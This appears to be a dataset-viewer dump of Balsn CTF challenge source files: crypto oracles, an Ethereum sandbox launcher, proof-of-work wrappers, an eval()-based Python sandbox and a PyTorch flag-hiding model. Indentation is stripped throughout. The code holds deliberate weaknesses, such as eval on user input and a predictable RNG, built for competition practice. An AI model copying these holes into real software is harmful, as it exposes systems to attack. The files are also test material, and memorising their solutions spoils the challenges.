assert 3 == len(trinity)
assert 1 == len({blake3(x, key=key).digest(8) for x in trinity})
with open('/flag.txt') as f:
print(f.read())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/dlog/src/server.py | ctfs/Balsn/2021/crypto/dlog/src/server.py | #!/usr/local/bin/python3 -u
from gevent import monkey
monkey.patch_all()
import json
import os
from gevent.pywsgi import WSGIServer
from flask import Flask, Response, request
from prometheus_client import Summary, make_wsgi_app
from werkzeug.middleware.dispatcher import DispatcherMiddleware
app = Flask(__name__)
ORACLE_TIME = Summary('oracle_processing_seconds', 'Time spent processing oracle request')
FLAG_TIME = Summary('flag_processing_seconds', 'Time spent processing flag request')
with open('secret.json') as f:
FLAG, s, p = json.load(f)
s, p = int(s), int(p)
assert 0 < s < 2**100
assert 0 < p < 2**1025
@app.route('/oracle', methods=['GET'])
@ORACLE_TIME.time()
def oracle():
try:
x = int(request.args['x']) % p
except Exception:
return Response("(._.)???", mimetype="text/plain; charset=utf8")
return Response(str(pow(x, s, p)), mimetype="text/plain; charset=utf8")
@app.route('/flag', methods=['GET'])
@FLAG_TIME.time()
def flag():
try:
x = int(request.args['x']) % p
except Exception:
return Response("(._.)???", mimetype="text/plain; charset=utf8")
if pow(x, s, p) == 1337:
return Response(FLAG, mimetype="text/plain; charset=utf8")
else:
return Response("{>_<}!!!", mimetype="text/plain; charset=utf8")
app.wsgi_app = DispatcherMiddleware(app.wsgi_app, { '/metrics': make_wsgi_app() })
if __name__ == '__main__':
WSGIServer(('0.0.0.0', 27492), app).serve_forever()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/1337pins/src/server.py | ctfs/Balsn/2021/crypto/1337pins/src/server.py | #!/usr/local/bin/python3 -u
import signal
import random
signal.alarm(600)
N = 1337
remaining = N
for i in range(31337):
y = random.getrandbits(32) % 10
x = int(input())
if x == y:
remaining -= 1
print('.')
else:
remaining = N
print(y)
if remaining == 0:
with open('/flag.txt') as f:
print(f.read())
break
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/IEAIE/lib.py | ctfs/Balsn/2021/crypto/IEAIE/lib.py | import math
import functools
import numpy as np
from scipy.stats import entropy
from skimage.measure import shannon_entropy
from secret import x0, y0, xp0, yp0, GenerateNewKey, GenerateNewFlag, GetSameEntropyImage
mu = 0.8116
@functools.lru_cache(maxsize=None)
def LASM2D(mu, x0, y0, ret_num, skip_num=200):
iter_num = ret_num//2+ret_num%2
xi = x0
yi = y0
ret_seq = []
for i in range(skip_num+iter_num):
xi = math.sin(math.pi*mu*(yi+3)*xi*(1-xi))
yi = math.sin(math.pi*mu*(xi+3)*yi*(1-yi))
if i >= skip_num:
ret_seq.append(xi)
ret_seq.append(yi)
ret_seq = ret_seq[:ret_num]
return np.array(ret_seq)
def Entropy(img):
# grayscale
v,c = np.unique(img, return_counts=True)
counts = np.zeros(256, dtype=int)
counts[v] = c
return entropy(counts, base=2)
def UpdateKey1(x0, y0, xp0, yp0, s):
x_bar0 = (x0+(s+1)/(s+xp0+yp0+1))%1
y_bar0 = (y0+(s+2)/(s+xp0+yp0+2))%1
return x_bar0, y_bar0
def UpdateKey2(x0, y0, xp0, yp0):
xp_bar0 = (xp0+(1/(x0+y0+1)))%1
yp_bar0 = (yp0+(2/(x0+y0+2)))%1
return xp_bar0, yp_bar0
def Uniq(seq):
now_set = set()
min_num = 0
for i, s in enumerate(seq):
if s not in now_set:
now_set.add(s)
if s == min_num:
while min_num in now_set:
min_num += 1
else:
seq[i] = min_num
now_set.add(min_num)
while min_num in now_set:
min_num += 1
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/IEAIE/secret.py | ctfs/Balsn/2021/crypto/IEAIE/secret.py | # NOTE!!!!!!!
# This is just a example of secret.py for you to run locally
# The remote implementation is different
import random, sys
import numpy as np
from PIL import Image
# secret key
x0, y0, xp0, yp0 = 0.441, 0.3406, 0.8704, 0.1566
def GenerateNewKey():
global x0, y0, xp0, yp0
x0, y0, xp0, yp0 = 0.441, 0.3406, 0.8704, 0.1566
def GenerateNewFlag():
F = np.asarray(Image.open('example_flag.bmp'))
return F
def GetSameEntropyImage(F):
m, n = F.shape
nrows, ncols = 130, 130
A = F.reshape(n//nrows, nrows, -1, ncols).swapaxes(1,2).reshape(-1, nrows, ncols)
B = A[::-1,:,:]
m, n = F.shape
return B.reshape(n//nrows, -1, nrows, ncols).swapaxes(1,2).reshape(n, m)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/IEAIE/encrypt.py | ctfs/Balsn/2021/crypto/IEAIE/encrypt.py | #!/usr/bin/env python3
from lib import *
from subprocess import *
import numpy as np
import sys
import concurrent.futures
import base64
from scipy.stats import entropy
def Encrypt(A):
# Step 1
(m, n) = A.shape
s = Entropy(A)
x_0, y_0 = UpdateKey1(x0, y0, xp0, yp0, s)
P_seq = LASM2D(mu, x_0, y_0, m*n)
P = P_seq.reshape(A.shape)
# Step 2
a = np.ceil((x0+y0+1)*(10**7)) % (m)
b = np.ceil((xp0+yp0+2)*(10**7)) % (n)
u = P[int(a), :]
v = P[:, int(b)]
up = np.ceil(u*(10**14)) % (n)
vp = np.ceil(v*(10**14)) % (m)
up = up.astype(int)
vp = vp.astype(int)
Uniq(up)
Uniq(vp)
B = np.zeros(A.shape, dtype='uint8')
tmp = np.zeros(A.shape, dtype='uint8')
for i in range(n):
tmp[:, up[i]] = A[:, i]
for i in range(m):
B[vp[i], :] = tmp[i, :]
# Step 3
W = np.zeros(A.shape, dtype='uint8')
for i in range(m):
for j in range(n):
W[i][j] = (m*n+(i+1)+(j+1)) % 256
R = (B+W) % 256
# Step 4
xp_0, yp_0 = UpdateKey2(x0, y0, xp0, yp0)
K_seq = LASM2D(mu, xp_0, yp_0, m*n)
K = K_seq.reshape(A.shape)
K = np.ceil(K*(10**14)) % 256
K = K.astype('uint8')
# Step 5
C = np.zeros(A.shape, dtype='uint8')
column_count = np.zeros((n-1, 256), dtype=int)
for a, z in zip(column_count, R[:, 1:].T):
v, c = np.unique(z, return_counts=True)
a[v] = c
counts = np.cumsum(column_count[::-1], axis=0)[::-1]
ent = entropy(counts, base=2, axis=-1)
ds = np.ceil(ent*(10**14)) % n
ds = np.concatenate([ds, [0]]).astype(int)
for i, d in enumerate(ds):
if i == 0:
C[:, i] = (R[:, i]+(d+1)*K[:, i]+K[:, d]) % 256
else:
C[:, i] = (R[:, i]+(d+1)*C[:, i-1]+(d+1)*K[:, i]+K[:, d]) % 256
return C
if __name__ == '__main__':
print('Generating new key and flag (260x260)...')
GenerateNewKey()
F = GenerateNewFlag()
C = Encrypt(F)
print('Encrypted flag (flag.bmp):')
print(base64.b64encode(C.tostring()).decode())
I = GetSameEntropyImage(F)
print('Image with the same entropy (image.bmp):')
print(base64.b64encode(I.tostring()).decode())
for i in range(1200):
M = int(input('Gimme the image size M> '))
N = int(input('Gimme the image size N> '))
if 256 <= M <= 512 and 256 <= N <= 512:
img_str = base64.b64decode(input('Gimme the base64 encoded image> '))
A = np.fromstring(img_str, np.uint8)
A = A.reshape(M, N)
C = Encrypt(A)
print(base64.b64encode(C.tostring()).decode())
else:
print('Invalid size!')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/Draupnir/distribute/share/chal.py | ctfs/Balsn/2021/crypto/Draupnir/distribute/share/chal.py | import eth_sandbox
from web3 import Web3
eth_sandbox.run_launcher([
eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(100, 'ether')),
eth_sandbox.new_get_flag_action()
])
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/Draupnir/distribute/share/eth_sandbox/launcher.py | ctfs/Balsn/2021/crypto/Draupnir/distribute/share/eth_sandbox/launcher.py | import requests
import os
from dataclasses import dataclass
from typing import Callable, List, Dict, Optional
import binascii
import random
import string
import hashlib
from web3 import Web3
from web3.types import TxReceipt
from eth_account import Account
import json
from eth_sandbox import load_auth_key
from hexbytes import HexBytes
from uuid import UUID
HTTP_PORT = os.getenv("HTTP_PORT", "8545")
INTERNAL_URL = f'http://127.0.0.1:{HTTP_PORT}'
PUBLIC_IP = os.getenv('PUBLIC_IP', '127.0.0.1')
PUBLIC_URL = f'http://{PUBLIC_IP}:{HTTP_PORT}'
Account.enable_unaudited_hdwallet_features()
@dataclass
class Action:
name: str
handler: Callable[[], int]
GANACHE_UNLOCK = "evm_unlockUnknownAccount"
GANACHE_LOCK = "evm_lockUnknownAccount"
def send_tx(web3: Web3, tx: Dict, deployer: str) -> Optional[TxReceipt]:
if "gas" not in tx:
tx["gas"] = 9_500_000
if "gasPrice" not in tx:
tx["gasPrice"] = 0
if "to" in tx and tx["to"] == "deployer":
tx["to"] = deployer
if tx["from"] == "deployer":
tx["from"] = deployer
unlock = GANACHE_UNLOCK
lock = GANACHE_LOCK
web3.provider.make_request(unlock, [tx["from"]])
txhash = web3.eth.sendTransaction(tx)
web3.provider.make_request(lock, [tx["from"]])
rcpt = web3.eth.getTransactionReceipt(txhash)
if rcpt.status != 1:
return None
return rcpt
def load_bytecode(contract_name: str) -> str:
USERNAME = os.getenv('USERNAME')
with open(f'/home/{USERNAME}/compiled.bin', 'r') as f:
compiled = json.load(f)
return compiled["contracts"][contract_name]["bin"]
def check_pow() -> bool:
try:
difficulty = 22
prefix = "".join(random.choice(string.ascii_lowercase) for i in range(16))
attempt = input(f'sha256({prefix}+???)=={"0"*difficulty}({difficulty})\n> ')
bits = ''.join(bin(i)[2:].zfill(8) for i in hashlib.sha256((prefix+attempt).encode()).digest())
if bits.startswith('0'*difficulty):
return True
return False
except:
return False
def new_launch_instance_action(
contract_name: str = "contracts/Setup.sol:Setup",
deploy_value: int = 0,
get_other_txs: Optional[Callable[[str], List[Dict]]] = None,
):
def action() -> int:
if not check_pow():
print("bad pow")
return 1
headers = {
"X-Auth-Key": load_auth_key(),
}
data = requests.post(
f"{INTERNAL_URL}/new",
headers=headers,
).json()
if data["ok"] == False:
print("failed to launch instance! please try again")
return 1
uuid = data["uuid"]
mnemonic = data["mnemonic"]
provider = Web3.HTTPProvider(
f"{INTERNAL_URL}/{uuid}",
request_kwargs={
"headers": {
"X-Auth-Key": load_auth_key(),
"Content-Type": "application/json",
},
},
)
web3 = Web3(provider)
deployer_addr = Account.create().address
def send_txs(txs) -> str:
deployed: Optional[str] = None
for tx in txs:
rcpt = send_tx(web3, tx, deployer_addr)
if not rcpt:
print("internal error while performing setup, please try again")
return 1
if deployed is None and rcpt.contractAddress:
deployed = rcpt.contractAddress
if not deployed:
print("failed to deploy contract, please try again")
return 1
return deployed
setup_addr = send_txs([
{
"from": "0x000000000000000000000000000000000000dEaD",
"to": "deployer",
"value": Web3.toWei(10000, "ether"),
},
{
"from": "deployer",
"value": deploy_value,
"data": load_bytecode(contract_name),
},
])
if get_other_txs:
send_txs(get_other_txs(setup_addr))
with open(f"/tmp/{uuid}", "w") as f:
f.write(setup_addr)
player_acct = Account.from_mnemonic(mnemonic)
print()
print(f"your private blockchain has been deployed")
print(f"it will automatically terminate in 30 minutes")
print(f"here's some useful information")
print(f"uuid: {uuid}")
print(f"rpc endpoint: {PUBLIC_URL}/{uuid}")
print(f"private key: {player_acct.privateKey.hex()}")
print(f"setup contract: {setup_addr}")
return 0
return Action(name="launch new instance", handler=action)
def is_solved_checker(addr: str, web3: Web3) -> bool:
result = web3.eth.call(
{
"to": addr,
"data": web3.sha3(text="isSolved()")[:4],
}
)
return int(result.hex(), 16) == 1
def new_get_flag_action(
checker: Callable[[str, Web3], bool] = is_solved_checker,
):
flag = os.getenv("FLAG", "BALSN{sample flag}")
def action() -> int:
uuid = input("uuid? ")
try:
uuid = str(UUID(uuid))
with open(f"/tmp/{uuid}", "r") as f:
addr = f.read()
except:
print("bad uuid")
return 1
web3 = Web3(Web3.HTTPProvider(f"{INTERNAL_URL}/{uuid}"))
if not checker(addr, web3):
print("are you sure you solved it?")
return 1
print(flag)
return 0
return Action(name="get flag", handler=action)
def run_launcher(actions: List[Action]):
for i, action in enumerate(actions):
print(f"{i+1} - {action.name}")
action = int(input("action? ")) - 1
if action < 0 or action >= len(actions):
print("can you not")
exit(1)
exit(actions[action].handler())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/Draupnir/distribute/share/eth_sandbox/__init__.py | ctfs/Balsn/2021/crypto/Draupnir/distribute/share/eth_sandbox/__init__.py | from .auth import *
from .launcher import *
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/Draupnir/distribute/share/eth_sandbox/server.py | ctfs/Balsn/2021/crypto/Draupnir/distribute/share/eth_sandbox/server.py | from web3 import Web3
from dataclasses import dataclass
from threading import Thread, Lock
from typing import Tuple, Dict, Any
from uuid import uuid4
import sys
import os
from eth_account.hdaccount import generate_mnemonic
import socket
import random
import time
from flask import Flask, request, redirect, Response
from flask_cors import CORS, cross_origin
import requests
import subprocess
from eth_sandbox import *
app = Flask(__name__)
CORS(app)
RPC_URL = os.getenv("RPC_URL")
@dataclass
class NodeInfo:
port: int
mnemonic: str
proc: subprocess.Popen
uuid: str
instances: Dict[str, NodeInfo] = {}
def kill_ganache(node_info: NodeInfo):
time.sleep(60 * 5)
print(f"killing node {node_info.uuid}")
del instances[node_info.uuid]
node_info.proc.kill()
def launch_ganache() -> NodeInfo:
port = random.randrange(30000, 60000)
mnemonic = generate_mnemonic(12, "english")
uuid = str(uuid4())
proc = subprocess.Popen(
args=[
"ganache-cli",
"--port",
str(port),
"--accounts",
"1",
"--defaultBalanceEther",
"5000",
"--hardfork",
"muirGlacier",
"--fork",
RPC_URL,
"--mnemonic",
mnemonic,
"--noVMErrorsOnRPCResponse",
"--gasLimit",
"12500000",
"--allowUnlimitedContractSize",
],
stdout=sys.stdout,
stderr=sys.stderr,
)
web3 = Web3(Web3.HTTPProvider(f"http://127.0.0.1:{port}"))
while True:
if proc.poll() is not None:
return None
if web3.isConnected():
break
time.sleep(0.1)
node_info = NodeInfo(port=port, mnemonic=mnemonic, proc=proc, uuid=uuid)
instances[uuid] = node_info
reaper = Thread(target=kill_ganache, args=(node_info,))
reaper.start()
return node_info
auth_key = generate_auth_key()
@app.route("/")
def index():
return "hello world"
@app.route("/new", methods=["POST"])
@cross_origin()
def create():
key = request.headers.get("X-Auth-Key")
if key != auth_key:
return {
"ok": False,
"error": "nice try",
}
node_info = launch_ganache()
if node_info is None:
print("failed to launch node!")
return {
"ok": False,
"error": "failed to launch node",
}
return {
"ok": True,
"uuid": node_info.uuid,
"mnemonic": node_info.mnemonic,
}
ALLOWED_NAMESPACES = ["web3", "eth", "net"]
@app.route("/<string:uuid>", methods=["POST"])
@cross_origin()
def proxy(uuid):
body = request.get_json()
if not body:
return "invalid content type, only application/json is supported"
if "id" not in body:
return ""
if uuid not in instances:
return {
"jsonrpc": "2.0",
"id": body["id"],
"error": {
"code": -32602,
"message": "invalid uuid specified",
},
}
if "method" not in body or not isinstance(body["method"], str):
return {
"jsonrpc": "2.0",
"id": body["id"],
"error": {
"code": -32600,
"message": "invalid request",
},
}
ok = any(body["method"].startswith(namespace) for namespace in ALLOWED_NAMESPACES)
key = request.headers.get("X-Auth-Key")
if not ok and key != auth_key:
return {
"jsonrpc": "2.0",
"id": body["id"],
"error": {
"code": -32600,
"message": "invalid request",
},
}
instance = instances[uuid]
resp = requests.post(f"http://127.0.0.1:{instance.port}", json=body)
response = Response(resp.content, resp.status_code, resp.raw.headers.items())
return response
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8545)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/Draupnir/distribute/share/eth_sandbox/auth.py | ctfs/Balsn/2021/crypto/Draupnir/distribute/share/eth_sandbox/auth.py | from uuid import uuid4
def load_auth_key():
with open("/tmp/auth", "r") as f:
return f.read()
def generate_auth_key():
auth_key = str(uuid4())
with open("/tmp/auth", "w") as f:
f.write(auth_key)
return auth_key
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2019/PlainNote/docker/share/pow.py | ctfs/Balsn/2019/PlainNote/docker/share/pow.py | #!/usr/bin/env python
import hashlib
import string,random
import os
import sys
prefix = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
difficulty = 18
zeros = '0' * difficulty
def is_valid(digest):
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros
sys.stdout.write("sha256({} + ???) == {}({})\nans:".format(prefix,zeros,difficulty))
sys.stdout.flush()
ans = sys.stdin.readline().strip()
if is_valid(hashlib.sha256(prefix+ans).digest()):
sys.stdout.write("Great")
sys.stdout.flush()
os.system("/home/note/note")
exit(0)
print "Failed"
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2019/SimpleLanguage/docker/share/wrapper.py | ctfs/Balsn/2019/SimpleLanguage/docker/share/wrapper.py | #!/usr/bin/env python3
import sys
import subprocess
sys.stdout.write("Payload(hex) :")
sys.stdout.flush()
payload = sys.stdin.readline().strip()
payload_bytes = bytes.fromhex(payload)
p = subprocess.Popen("/home/SimpleLanguage/SimpleLanguage", stdout=subprocess.PIPE, stdin=subprocess.PIPE,stderr=subprocess.PIPE)
p.stdin.write(payload_bytes)
p.stdin.close()
p.stdout.close()
p.stderr.close()
print( p.wait(timeout=60))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2023/misc/pycthon/chall.py | ctfs/Balsn/2023/misc/pycthon/chall.py | #!/usr/bin/python3 -u
with open('/home/ctf/flag') as f:
flag = f.read()
payload = input(">>> ")
set_dirty(flag)
sandbox()
eval(payload) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2023/misc/Matrix/share/chal.py | ctfs/Balsn/2023/misc/Matrix/share/chal.py | #!/usr/local/bin/python3 -u
import torch
import secrets
import hashlib
from config import FLAG
MAX_QUERY = 4000
SECRET_SCALE_RANGE = (500000, 1000000)
PARAM_RANDOM_RANGE = (-999, 999)
PARAM_SCALE = 1000
class Model(torch.nn.Module):
def __init__(self):
super(Model, self).__init__()
self.conv1 = torch.nn.Conv2d(
in_channels = 1,
out_channels = 1,
kernel_size = (5, 5),
stride = 1,
padding = 0,
dilation = 1,
groups = 1,
bias = True,
)
self.fc1 = torch.nn.Linear(
in_features = 9,
out_features = 2,
bias = True,
)
def forward(self, x):
out = self.conv1(x)
out = out.view(-1,9)
out = torch.nn.functional.relu(out)
out = self.fc1(out)
return out
def secureRandRange(self, Range, scale, reject = None):
v = (secrets.randbelow(Range[1] + 1 - Range[0]) + Range[0]) / scale
if reject is not None and reject(v):
v = (secrets.randbelow(Range[1] + 1 - Range[0]) + Range[0]) / scale
return v
def generateParams(self, flag):
assert type(flag) == bytes
assert len(flag) <= 25
paramsCnt = 25 + 1 + 18 + 2
secretScale = self.secureRandRange(SECRET_SCALE_RANGE, 1)
paddedFlag = list(flag) + [self.secureRandRange((0, 0xff), 1) for i in range(paramsCnt - len(flag))]
augmentedFlag = [c / secretScale for c in paddedFlag]
reject = lambda v : v < 0.1 and v > -0.1
params = [self.secureRandRange(PARAM_RANDOM_RANGE, PARAM_SCALE, reject = reject) + augmentedFlag[i] for i in range(paramsCnt)]
for i in range(5):
for j in range(5):
self.conv1.weight.data[0][0][i][j] = params[i * 5 + j]
self.conv1.bias.data[0] = params[25]
for i in range(2):
for j in range(9):
self.fc1.weight.data[i][j] = params[25 + 1 + i * 9 + j]
for i in range(2):
self.fc1.bias.data[i] = params[25 + 1 + 18 + i]
def exitMsg(msg):
print(msg)
exit()
def main():
torch.set_grad_enabled(False)
m = Model()
m.generateParams(FLAG)
m.eval()
print(f'secret digest : {hashlib.sha256(FLAG).hexdigest()}')
for i in range(MAX_QUERY):
try:
inp = input().strip()
if inp == 'DONE':
exitMsg('done')
image = list(map(float, inp.split(',')))
except Exception as e:
print(e)
exitMsg('bad input')
if len(image) != 49:
exitMsg('bad input')
classification = int(torch.max(m.forward(torch.tensor(image).reshape(1, 7, 7)), 1)[1])
print(classification)
if __name__ == '__main__':
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.